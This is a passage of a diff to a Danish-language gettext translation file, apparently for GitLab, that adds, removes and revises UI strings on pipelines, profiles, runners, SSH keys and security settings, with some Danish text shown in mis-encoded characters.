-msgstr "Når et projekt slettes permanent, så kan det ikke gendannes. Du vil miste projektets depot og alle relaterede ressourcer, herunder problemstillinger og sammenlægningsanmodninger."
-
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
msgstr ""
@@ -24017,6 +24399,12 @@ msgid_plural "%d more items"
msgstr[0] "Et element mere"
msgstr[1] "%d elementer mere"
+msgid "One or more contacts were successfully added."
+msgstr ""
+
+msgid "One or more contacts were successfully removed."
+msgstr ""
+
msgid "One or more groups that you don't have access to."
msgstr ""
@@ -24056,6 +24444,9 @@ msgstr "Kun administratorer kan slette projektet"
msgid "Only effective when remote storage is enabled. Set to 0 for no size limit."
msgstr ""
+msgid "Only enable search after installing the plugin, enabling indexing, and recreating the index."
+msgstr ""
+
msgid "Only include features new to your current subscription tier."
msgstr ""
@@ -24077,6 +24468,9 @@ msgstr ""
msgid "Only reCAPTCHA v2 is supported:"
msgstr "Kun reCAPTCHA v2 understøttes:"
+msgid "Only use lowercase letters, numbers, and underscores."
+msgstr ""
+
msgid "Only users from the specified IP address ranges are able to reach this group, including all subgroups, projects, and Git repositories."
msgstr ""
@@ -24095,7 +24489,7 @@ msgstr "Ã…bne"
msgid "Open Selection"
msgstr "Ã…bn markering"
-msgid "Open a CLI and connect to the cluster you want to install the Agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
+msgid "Open a CLI and connect to the cluster you want to install the agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
msgstr ""
msgid "Open epics"
@@ -24105,7 +24499,7 @@ msgid "Open errors"
msgstr "Ã…bne fejl"
msgid "Open in Web IDE"
-msgstr ""
+msgstr "Ã…bn i web-IDE"
msgid "Open in file view"
msgstr "Ã…bn i filvisning"
@@ -24335,6 +24729,9 @@ msgstr "Pakketype skal være Helm"
msgid "Package type must be Maven"
msgstr "Pakketype skal være Maven"
+msgid "Package type must be NPM"
+msgstr ""
+
msgid "Package type must be NuGet"
msgstr "Pakketype skal være NuGet"
@@ -24691,6 +25088,9 @@ msgstr "Siden blev ikke fundet"
msgid "Page settings"
msgstr "Sideindstillinger"
+msgid "Page size"
+msgstr ""
+
msgid "PagerDutySettings|Active"
msgstr "Aktiv"
@@ -24787,9 +25187,6 @@ msgstr ""
msgid "Password"
msgstr "Adgangskode"
-msgid "Password (for password-protected Elasticsearch servers)"
-msgstr "Adgangskode (til adgangskodebeskyttede Elasticsearch-servere)"
-
msgid "Password (optional)"
msgstr "Adgangskode (valgfrit)"
@@ -25042,6 +25439,12 @@ msgstr "Pipeline %{label}"
msgid "Pipeline %{label} for \"%{dataTitle}\""
msgstr ""
+msgid "Pipeline Editor"
+msgstr ""
+
+msgid "Pipeline Editor|Are you sure you want to reset the file to its last committed version?"
+msgstr ""
+
msgid "Pipeline ID"
msgstr "Pipeline-id"
@@ -25357,9 +25760,6 @@ msgstr "Sammenlagt YAML er kun visning"
msgid "Pipelines|More Information"
msgstr "Mere information"
-msgid "Pipelines|No artifacts available"
-msgstr "Ingen artefakter tilgængelige"
-
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -25489,6 +25889,9 @@ msgstr ""
msgid "Pipeline|Created"
msgstr "Oprettet"
+msgid "Pipeline|Creating pipeline."
+msgstr ""
+
msgid "Pipeline|Date"
msgstr "Dato"
@@ -25504,9 +25907,6 @@ msgstr ""
msgid "Pipeline|In progress"
msgstr "I gang"
-msgid "Pipeline|Key"
-msgstr "Nøgle"
-
msgid "Pipeline|Manual"
msgstr ""
@@ -25597,12 +25997,12 @@ msgstr "Udløserforfatter"
msgid "Pipeline|Triggerer"
msgstr "Udløsere"
-msgid "Pipeline|Value"
-msgstr "Værdi"
-
msgid "Pipeline|Variables"
msgstr "Variabler"
+msgid "Pipeline|View commit"
+msgstr ""
+
msgid "Pipeline|View pipeline"
msgstr "Vis pipeline"
@@ -25741,6 +26141,9 @@ msgstr "Indtast venligst en gyldig hex-farveværdi (#RRGGBB eller #RGB)"
msgid "Please enter a valid number"
msgstr "Indtast venligst et gyldigt tal"
+msgid "Please enter a valid time interval"
+msgstr ""
+
msgid "Please enter or upload a valid license."
msgstr "Indtast eller upload venligst en gyldig licens."
@@ -25768,9 +26171,6 @@ msgstr ""
msgid "Please note that this application is not provided by GitLab and you should verify its authenticity before allowing access."
msgstr ""
-msgid "Please only enable search after installing the plugin, enabling indexing and recreating the index"
-msgstr ""
-
msgid "Please provide a name"
msgstr "Angiv venligst et navn"
@@ -26011,7 +26411,7 @@ msgstr "Tryk på %{key}-C for at kopiere"
msgid "Prev"
msgstr "Forrige"
-msgid "Prevent adding new members to project membership within this group"
+msgid "Prevent adding new members to projects within this group"
msgstr ""
msgid "Prevent auto-stopping"
@@ -26225,7 +26625,7 @@ msgid "Profiles|An error occurred while updating your username, please try again
msgstr "Der opstod en fejl under opdatering af dit brugernavn. Prøv venligst igen."
msgid "Profiles|An indicator appears next to your name and avatar"
-msgstr ""
+msgstr "Der vises en indikator ved siden af dit navn og din avatar"
msgid "Profiles|Avatar cropper"
msgstr "Beskæring af avatar"
@@ -26291,10 +26691,10 @@ msgid "Profiles|Disconnect %{provider}"
msgstr ""
msgid "Profiles|Do not show on profile"
-msgstr "Vis ikke på profil"
+msgstr "Vis ikke i profil"
-msgid "Profiles|Don't display activity-related personal information on your profiles"
-msgstr "Vis ikke aktivitetsrelateret personlig information på dine profiler"
+msgid "Profiles|Don't display activity-related personal information on your profile"
+msgstr ""
msgid "Profiles|Edit Profile"
msgstr "Rediger profil"
@@ -26314,15 +26714,15 @@ msgstr ""
msgid "Profiles|Enter your pronouns to let people know how to refer to you"
msgstr ""
+msgid "Profiles|Expiration date"
+msgstr ""
+
msgid "Profiles|Expired key is not valid."
msgstr "Udløbet nøgle er ikke gyldig."
msgid "Profiles|Expired:"
msgstr "Udløbet:"
-msgid "Profiles|Expires at"
-msgstr "Udløber"
-
msgid "Profiles|Expires:"
msgstr "Udløber:"
@@ -26362,15 +26762,18 @@ msgstr "Ugyldigt brugernavn"
msgid "Profiles|Key"
msgstr "Nøgle"
+msgid "Profiles|Key becomes invalid on this date."
+msgstr ""
+
+msgid "Profiles|Key becomes invalid on this date. Maximum lifetime for SSH keys is %{max_ssh_key_lifetime} days"
+msgstr ""
+
msgid "Profiles|Key can still be used after expiration."
msgstr "Nøglen kan stadigvæk bruges efter den udløber."
msgid "Profiles|Key usable beyond expiration date."
msgstr "Nøglen kan bruges efter udløbsdatoen."
-msgid "Profiles|Key will be deleted on this date."
-msgstr "Nøglen slettes på denne dato."
-
msgid "Profiles|Last used:"
msgstr "Sidst brugt:"
@@ -26456,10 +26859,10 @@ msgid "Profiles|This email will be used for web based operations, such as edits
msgstr ""
msgid "Profiles|This emoji and message will appear on your profile and throughout the interface."
-msgstr "Emojien og meddelelsen vises på din profil og overalt i brugerfladen."
+msgstr "Emojien og meddelelsen vises i din profil og overalt i brugerfladen."
msgid "Profiles|This information will appear on your profile"
-msgstr "Informationen vises på din profil"
+msgstr "Informationen vises i din profil"
msgid "Profiles|Time settings"
msgstr "Tidsindstillinger"
@@ -26698,9 +27101,6 @@ msgstr "Projektmilepæl"
msgid "Project name"
msgstr "Projektnavn"
-msgid "Project name suffix"
-msgstr ""
-
msgid "Project navigation"
msgstr "Projektnavigation"
@@ -26779,6 +27179,9 @@ msgstr ""
msgid "ProjectOverview|Unstar"
msgstr ""
+msgid "ProjectOverview|You don't have permission to fork this project"
+msgstr ""
+
msgid "ProjectOverview|You have reached your project limit"
msgstr "Du har nået din projektgrænse"
@@ -27046,12 +27449,18 @@ msgstr ""
msgid "ProjectSettings|Manages large files such as audio, video, and graphics files."
msgstr ""
+msgid "ProjectSettings|Maximum 500 characters."
+msgstr ""
+
msgid "ProjectSettings|Merge checks"
msgstr ""
msgid "ProjectSettings|Merge commit"
msgstr "Sammenlægningscommit"
+msgid "ProjectSettings|Merge commit message template"
+msgstr ""
+
msgid "ProjectSettings|Merge commit with semi-linear history"
msgstr "Sammenlægningscommit med halvlineær historik"
@@ -27121,6 +27530,9 @@ msgstr "Krav"
msgid "ProjectSettings|Requirements management system."
msgstr ""
+msgid "ProjectSettings|Search for topic"
+msgstr ""
+
msgid "ProjectSettings|Security & Compliance"
msgstr "Sikkerhed og overholdelse"
@@ -27145,6 +27557,9 @@ msgstr ""
msgid "ProjectSettings|Snippets"
msgstr "Udklip"
+msgid "ProjectSettings|Squash commit message template"
+msgstr ""
+
msgid "ProjectSettings|Squash commits when merging"
msgstr "Squash commits når der sammenlægges"
@@ -27166,6 +27581,12 @@ msgstr "MÃ¥lprojekt"
msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
+msgid "ProjectSettings|The commit message used when merging, if the merge method creates a merge commit. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|The commit message used when squashing commits. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|The default target project for merge requests created in this fork project."
msgstr ""
@@ -27370,6 +27791,9 @@ msgstr ""
msgid "Projects with no vulnerabilities and security scanning enabled"
msgstr ""
+msgid "Projects with this topic"
+msgstr ""
+
msgid "Projects with write access"
msgstr "Projekter med skriveadgang"
@@ -27410,7 +27834,7 @@ msgid "ProjectsNew|Create"
msgstr "Opret"
msgid "ProjectsNew|Create a blank project to house your files, plan your work, and collaborate on code, among other things."
-msgstr "Opret et tomt projekt til blandet andet at opbevare dine filer, planlægge dit arbejde og samarbejde om kode."
+msgstr "Opret et tomt projekt til blandt andet at opbevare dine filer, planlægge dit arbejde og samarbejde om kode."
msgid "ProjectsNew|Create a project pre-populated with the necessary files to get you started quickly."
msgstr ""
@@ -27446,7 +27870,7 @@ msgid "ProjectsNew|No import options available"
msgstr ""
msgid "ProjectsNew|Project Configuration"
-msgstr ""
+msgstr "Projektkonfiguration"
msgid "ProjectsNew|Project description %{tag_start}(optional)%{tag_end}"
msgstr "Projektbeskrivelse %{tag_start}(valgfrit)%{tag_end}"
@@ -27577,6 +28001,9 @@ msgstr "Forfrem"
msgid "Promote issue to an epic"
msgstr "Forfrem problemstilling til en epic"
+msgid "Promote issue to incident"
+msgstr ""
+
msgid "Promote to epic"
msgstr "Forfrem til epic"
@@ -27595,9 +28022,15 @@ msgstr "Forfremmelse mislykkedes - %{message}"
msgid "Promoted issue to an epic."
msgstr "Forfrem problemstilling til en epic."
+msgid "Promotes issue to incident"
+msgstr ""
+
msgid "Promotion is not supported."
msgstr "Forfremmelse understøttes ikke."
+msgid "Promotions|Add %{link_start} description templates %{link_end} to help your contributors to communicate effectively!"
+msgstr ""
+
msgid "Promotions|Add Group Webhooks and GitLab Enterprise Edition."
msgstr "Tilføj gruppe-webhooks og GitLab Enterprise Edition."
@@ -27958,6 +28391,9 @@ msgstr ""
msgid "Public Access Help"
msgstr ""
+msgid "Public deploy keys"
+msgstr ""
+
msgid "Public deploy keys (%{deploy_keys_count})"
msgstr ""
@@ -28120,6 +28556,9 @@ msgstr ""
msgid "PushoverService|Total commits count: %{total_commits_count}"
msgstr ""
+msgid "QualitySummary|Project quality"
+msgstr ""
+
msgid "Quarters"
msgstr ""
@@ -28234,6 +28673,12 @@ msgstr "Rebase kildegren på målgrenen."
msgid "Recaptcha verified?"
msgstr "Recaptcha verificeret?"
+msgid "Receive a $50 gift card as a thank you for your time."
+msgstr ""
+
+msgid "Receive a %{strongOpen}$50 gift card%{strongClose} as a thank you for your time."
+msgstr ""
+
msgid "Receive alerts from manually configured Prometheus servers."
msgstr ""
@@ -28335,9 +28780,6 @@ msgstr ""
msgid "Regex pattern"
msgstr ""
-msgid "Region that Elasticsearch is configured"
-msgstr ""
-
msgid "Register"
msgstr "Tilmeld"
@@ -28505,6 +28947,9 @@ msgstr "Fjern %{displayReference}"
msgid "Remove Zoom meeting"
msgstr "Fjern Zoom-møde"
+msgid "Remove Zoom meeting."
+msgstr ""
+
msgid "Remove access"
msgstr "Fjern adgang"
@@ -28532,6 +28977,9 @@ msgstr "Fjern materialelink"
msgid "Remove assignee"
msgstr ""
+msgid "Remove attention request"
+msgstr ""
+
msgid "Remove avatar"
msgstr "Fjern avatar"
@@ -28541,6 +28989,12 @@ msgstr "Fjern kort"
msgid "Remove child epic from an epic"
msgstr ""
+msgid "Remove customer relation contact(s)."
+msgstr ""
+
+msgid "Remove customer relation contacts"
+msgstr ""
+
msgid "Remove deploy key"
msgstr "Fjern udsendelsesnøgle"
@@ -28658,15 +29112,15 @@ msgstr ""
msgid "Removed %{reviewer_text} %{reviewer_references}."
msgstr "Fjernede %{reviewer_text} %{reviewer_references}."
-msgid "Removed %{type} with id %{id}"
-msgstr "Fjernede %{type} med id'et %{id}"
-
msgid "Removed all labels."
msgstr "Fjernede alle etiketter."
msgid "Removed an issue from an epic."
msgstr "Fjernede en problemstilling fra en epic."
+msgid "Removed attention request from @%{username}"
+msgstr ""
+
msgid "Removed group can not be restored!"
msgstr ""
@@ -28682,6 +29136,9 @@ msgstr "Fjernede forfaldsdatoen."
msgid "Removed time estimate."
msgstr "Fjernede tidsestimat."
+msgid "Removed upload with id %{id}"
+msgstr ""
+
msgid "RemovedProjects|Projects which are removed and are yet to be permanently removed are visible here."
msgstr ""
@@ -28751,6 +29208,9 @@ msgstr "Genåbn"
msgid "Reopen %{issueType}"
msgstr "Genåbn %{issueType}"
+msgid "Reopen %{noteable}"
+msgstr ""
+
msgid "Reopen epic"
msgstr "Genåbn epic"
@@ -28775,6 +29235,9 @@ msgstr "Gentager"
msgid "Replace"
msgstr "Erstat"
+msgid "Replace %{blob_name}"
+msgstr ""
+
msgid "Replace %{name}"
msgstr "Erstat %{name}"
@@ -28954,6 +29417,9 @@ msgstr "Gennemsnitlig dækning"
msgid "RepositoriesAnalytics|Average test coverage last 30 days"
msgstr ""
+msgid "RepositoriesAnalytics|Code Coverage: %{averageCoverage}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr "Dækning"
@@ -28975,6 +29441,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Jobs with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Jobs with Coverage: %{coverageCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Last Update"
msgstr "Sidste opdatering"
@@ -28993,6 +29462,9 @@ msgstr "Vælg venligst projekter som skal vises."
msgid "RepositoriesAnalytics|Projects with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Coverage: %{projectCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
@@ -29071,7 +29543,7 @@ msgstr ""
msgid "Repository update events"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / Pipeline Artifacts: %{counter_pipeline_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -29086,6 +29558,12 @@ msgstr "Anmod om adgang"
msgid "Request a new one"
msgstr "Anmod om en ny"
+msgid "Request attention"
+msgstr ""
+
+msgid "Request attention to review"
+msgstr ""
+
msgid "Request details"
msgstr "Anmodningsdetaljer"
@@ -29107,6 +29585,9 @@ msgstr "Anmodet"
msgid "Requested %{time_ago}"
msgstr "Anmodet %{time_ago}"
+msgid "Requested attention from @%{username}"
+msgstr ""
+
msgid "Requested design version does not exist."
msgstr ""
@@ -29146,6 +29627,9 @@ msgstr ""
msgid "Required in this project."
msgstr "Kræves i projektet."
+msgid "Required only if you are not using role instance credentials."
+msgstr ""
+
msgid "Requirement %{reference} has been added"
msgstr "Kravet %{reference} er blevet tilføjet"
@@ -29213,6 +29697,9 @@ msgstr ""
msgid "Reset authorization key?"
msgstr "Nulstil godkendelsesnøgle?"
+msgid "Reset file"
+msgstr ""
+
msgid "Reset filters"
msgstr "Nulstil filtre"
@@ -29529,6 +30016,9 @@ msgstr ""
msgid "Runners|Active"
msgstr "Aktiv"
+msgid "Runners|All"
+msgstr ""
+
msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
msgstr ""
@@ -29583,6 +30073,9 @@ msgstr ""
msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
msgstr ""
+msgid "Runners|Group"
+msgstr ""
+
msgid "Runners|Group Runners"
msgstr ""
@@ -29595,6 +30088,9 @@ msgstr ""
msgid "Runners|Install a runner"
msgstr "Installer en runner"
+msgid "Runners|Instance"
+msgstr ""
+
msgid "Runners|Last contact"
msgstr "Sidste kontakt"
@@ -29616,6 +30112,9 @@ msgstr "Ny registreringstoken genereret!"
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|No recent contact from this runner; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Not available to run jobs"
msgstr ""
@@ -29628,12 +30127,18 @@ msgstr "Offline"
msgid "Runners|Online"
msgstr "Online"
+msgid "Runners|Online Runners"
+msgstr ""
+
msgid "Runners|Paused"
msgstr "Sat på pause"
msgid "Runners|Platform"
msgstr "Platform"
+msgid "Runners|Project"
+msgstr ""
+
msgid "Runners|Property Name"
msgstr "Egenskabsnavn"
@@ -29667,6 +30172,9 @@ msgstr "Runner"
msgid "Runners|Runner #%{runner_id}"
msgstr "Runner #%{runner_id}"
+msgid "Runners|Runner ID"
+msgstr ""
+
msgid "Runners|Runner assigned to project."
msgstr ""
@@ -29676,6 +30184,9 @@ msgstr "Runner er offline. Sidste kontakt var %{runner_contact} siden"
msgid "Runners|Runner is online, last contact was %{runner_contact} ago"
msgstr "Runner er online. Sidste kontakt var %{runner_contact} siden"
+msgid "Runners|Runner is online; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr "Runner er sat på pause. Sidste kontakt var %{runner_contact} siden"
@@ -29706,12 +30217,18 @@ msgstr "Noget gik galt under hentning af runnerdata."
msgid "Runners|Something went wrong while fetching the tags suggestions"
msgstr "Noget fik galt under hentning af mærkatforslagene"
+msgid "Runners|Status"
+msgstr ""
+
msgid "Runners|Stop the runner from accepting new jobs."
msgstr "Stop runneren i at acceptere nye job."
msgid "Runners|Tags"
msgstr "Mærkater"
+msgid "Runners|This runner has never connected to this instance"
+msgstr ""
+
msgid "Runners|This runner is associated with one or more projects."
msgstr "Runneren er tilknyttet et eller flere projekter."
@@ -29769,21 +30286,27 @@ msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
msgstr ""
+msgid "Runners|active"
+msgstr ""
+
msgid "Runners|group"
msgstr "gruppe"
-msgid "Runners|instance"
-msgstr "instans"
-
msgid "Runners|locked"
msgstr "låst"
+msgid "Runners|not connected"
+msgstr ""
+
+msgid "Runners|offline"
+msgstr ""
+
+msgid "Runners|online"
+msgstr ""
+
msgid "Runners|paused"
msgstr "sat på pause"
-msgid "Runners|project"
-msgstr "projekt"
-
msgid "Runners|shared"
msgstr "delt"
@@ -29862,21 +30385,6 @@ msgstr ""
msgid "SVG illustration"
msgstr "SVG-illustration"
-msgid "SastEntryPoints|Add Security Testing"
-msgstr ""
-
-msgid "SastEntryPoints|Catch your security vulnerabilities ahead of time!"
-msgstr ""
-
-msgid "SastEntryPoints|GitLab can scan your code for security vulnerabilities. Static Application Security Testing (SAST) helps you worry less and build more."
-msgstr ""
-
-msgid "SastEntryPoints|How do I set up SAST?"
-msgstr "Hvordan opsætter jeg SAST?"
-
-msgid "SastEntryPoints|Learn more"
-msgstr "Lær mere"
-
msgid "Satisfied"
msgstr "Opfyldt"
@@ -30253,6 +30761,9 @@ msgstr "Hemmelig token"
msgid "Secure token that identifies an external storage request."
msgstr ""
+msgid "SecureCodeWarrior"
+msgstr ""
+
msgid "Security"
msgstr "Sikkerhed"
@@ -30277,6 +30788,9 @@ msgstr "Sikkerhedsrapporten er forældet. Opdater venligst din gren med de senes
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr "Sikkerhedsrapporten er forældet. Kør %{newPipelineLinkStart}en ny pipeline%{newPipelineLinkEnd} for målgrenen (%{targetBranchName})"
+msgid "Security training with guide and learning pathways."
+msgstr ""
+
msgid "SecurityApprovals|A merge request approval is required when a security report contains a new vulnerability."
msgstr ""
@@ -30325,7 +30839,7 @@ msgstr "Der opstod en fejl under oprettelse af sammenlægningsanmodningen."
msgid "SecurityConfiguration|Available with Ultimate"
msgstr "Tilgængelig med Ultimate"
-msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
+msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the merge request."
msgstr ""
msgid "SecurityConfiguration|Compliance"
@@ -30340,7 +30854,7 @@ msgstr "Konfigurationshistorik"
msgid "SecurityConfiguration|Configure %{feature}"
msgstr "Konfigurer %{feature}"
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure with a merge request"
msgstr ""
msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
@@ -30352,8 +30866,8 @@ msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr "Kunne ikke hente konfigurationsdata. Opdater venligst siden eller prøv igen senere."
-msgid "SecurityConfiguration|Create Merge Request"
-msgstr "Opret sammenlægningsanmodning"
+msgid "SecurityConfiguration|Create merge request"
+msgstr ""
msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
msgstr ""
@@ -30412,6 +30926,9 @@ msgstr "Sikr dit projekt"
msgid "SecurityConfiguration|Security testing"
msgstr ""
+msgid "SecurityConfiguration|Security training"
+msgstr ""
+
msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
msgstr ""
@@ -30421,6 +30938,9 @@ msgstr "Opgrader eller start en gratis prøveperiode"
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability Management"
+msgstr ""
+
msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request"
msgstr ""
@@ -30445,6 +30965,12 @@ msgstr "Alle regelsæt"
msgid "SecurityOrchestration|An error occurred assigning your security policy project"
msgstr ""
+msgid "SecurityOrchestration|An error occurred unassigning your security policy project"
+msgstr ""
+
+msgid "SecurityOrchestration|Choose a project"
+msgstr ""
+
msgid "SecurityOrchestration|Description"
msgstr "Beskrivelse"
@@ -30514,8 +31040,11 @@ msgstr ""
msgid "SecurityOrchestration|Scan execution policies can only be created by project owners."
msgstr ""
-msgid "SecurityOrchestration|Scan to be performed every %{cadence} on the %{branches}"
-msgstr "Skanning som skal udføres hvert %{cadence} på %{branches}"
+msgid "SecurityOrchestration|Scan to be performed %{cadence}"
+msgstr ""
+
+msgid "SecurityOrchestration|Scan to be performed %{cadence} on the %{branches}"
+msgstr ""
msgid "SecurityOrchestration|Scan to be performed on every pipeline on the %{branches}"
msgstr ""
@@ -30523,6 +31052,9 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project was linked successfully"
msgstr "Sikkerhedsregelsætprojekt blev linket"
+msgid "SecurityOrchestration|Security policy project was unlinked successfully"
+msgstr ""
+
msgid "SecurityOrchestration|Select a project to store your security policies in. %{linkStart}More information.%{linkEnd}"
msgstr ""
@@ -30544,6 +31076,12 @@ msgstr ""
msgid "SecurityOrchestration|To widen your search, change filters above or select a different security policy project."
msgstr ""
+msgid "SecurityOrchestration|Unlink project"
+msgstr ""
+
+msgid "SecurityOrchestration|Unlinking a security project removes all policies stored in the linked security project. Save to confirm this action."
+msgstr ""
+
msgid "SecurityOrchestration|Update scan execution policies"
msgstr ""
@@ -30763,7 +31301,7 @@ msgstr "Status"
msgid "SecurityReports|Take survey"
msgstr ""
-msgid "SecurityReports|The Vulnerability Report shows the results of the lastest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
+msgid "SecurityReports|The Vulnerability Report shows the results of the latest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
@@ -30796,6 +31334,9 @@ msgstr ""
msgid "SecurityReports|There was an error while generating the report."
msgstr "Der opstod en fejl under generering af rapporten."
+msgid "SecurityReports|These vulnerabilities were detected in external sources. They are not necessarily tied to your GitLab project. For example, running containers, URLs, and so on."
+msgstr ""
+
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
@@ -30821,7 +31362,7 @@ msgid "SecurityReports|Vulnerability Management feature survey"
msgstr ""
msgid "SecurityReports|Vulnerability Report"
-msgstr ""
+msgstr "SÃ¥rbarhedsrapport"
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
@@ -30934,6 +31475,9 @@ msgstr "Vælg et gennemløb"
msgid "Select assignee"
msgstr ""
+msgid "Select assignee(s)"
+msgstr ""
+
msgid "Select branch"
msgstr "Vælg gren"
@@ -31138,9 +31682,6 @@ msgstr "Sentry-begivenhed"
msgid "Sep"
msgstr "Sep."
-msgid "Separate topics with commas."
-msgstr "Adskil emner med kommaer."
-
msgid "September"
msgstr "September"
@@ -31240,7 +31781,16 @@ msgstr "Dit depot har ikke en tilhørende %{startTag}serverless.yml%{endTag}-fil
msgid "Service"
msgstr "Tjeneste"
-msgid "Service Accounts keys are required to authorize GitLab to deploy your Google Cloud project."
+msgid "Service Account"
+msgstr ""
+
+msgid "Service Account Key"
+msgstr ""
+
+msgid "Service Accounts"
+msgstr ""
+
+msgid "Service Accounts keys authorize GitLab to deploy your Google Cloud project"
msgstr ""
msgid "Service Desk"
@@ -31252,6 +31802,9 @@ msgstr "Serviceskranke giver personer mulighed for at oprette problemstillinger
msgid "Service URL"
msgstr "Tjeneste-URL"
+msgid "Service account generated successfully"
+msgstr ""
+
msgid "Service ping is disabled in your configuration file, and cannot be enabled through this form."
msgstr ""
@@ -31297,6 +31850,9 @@ msgstr ""
msgid "ServicePing|Turn on service ping to review instance-level analytics."
msgstr ""
+msgid "Services"
+msgstr ""
+
msgid "Session ID"
msgstr "Session-id"
@@ -31378,6 +31934,9 @@ msgstr "Indstil forfaldsdatoen til %{due_date}."
msgid "Set the iteration to %{iteration_reference}."
msgstr ""
+msgid "Set the maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "Set the maximum session time for a web terminal."
msgstr ""
@@ -31435,14 +31994,11 @@ msgstr "Indstil vægt til %{weight}."
msgid "Set what should be replicated by this secondary site."
msgstr "Indstil hvad der skal replikeres af det sekundære websted."
-msgid "SetPasswordToCloneLink|set a password"
-msgstr "indstil en adgangskode"
-
msgid "SetStatusModal|Add status emoji"
msgstr "Tilføj statusemoji"
msgid "SetStatusModal|An indicator appears next to your name and avatar"
-msgstr ""
+msgstr "Der vises en indikator ved siden af dit navn og din avatar"
msgid "SetStatusModal|Busy"
msgstr "Optaget"
@@ -31512,9 +32068,6 @@ msgid_plural "Settings saved successfully"
msgstr[0] ""
msgstr[1] ""
-msgid "Setting this to 0 means using the system default timeout value."
-msgstr ""
-
msgid "Settings"
msgstr "Indstillinger"
@@ -31581,6 +32134,27 @@ msgstr ""
msgid "Sherlock Transactions"
msgstr ""
+msgid "Shimo|Go to Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Link to a Shimo Workspace from the sidebar."
+msgstr ""
+
+msgid "Shimo|Shimo"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace URL"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace integration is enabled"
+msgstr ""
+
+msgid "Shimo|You've enabled the Shimo Workspace integration. You can view your wiki directly in Shimo."
+msgstr ""
+
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{boldStart}will%{boldEnd} lose access to your account."
msgstr ""
@@ -31596,6 +32170,9 @@ msgstr "Vis alle %{issuable_type}."
msgid "Show all activity"
msgstr "Vis al aktivitet"
+msgid "Show all breadcrumbs"
+msgstr ""
+
msgid "Show all issues."
msgstr "Vis alle problemstillinger."
@@ -31644,18 +32221,9 @@ msgstr "Vis seneste version"
msgid "Show list"
msgstr "Vis liste"
-msgid "Show me how to add a pipeline"
-msgstr "Vis mig hvordan en pipeline tilføjes"
-
msgid "Show one file at a time"
msgstr "Vis én fil ad gangen"
-msgid "Show parent pages"
-msgstr "Vis forældersider"
-
-msgid "Show parent subgroups"
-msgstr "Vis forælderundergrupper"
-
msgid "Show the Closed list"
msgstr "Vis listen lukket"
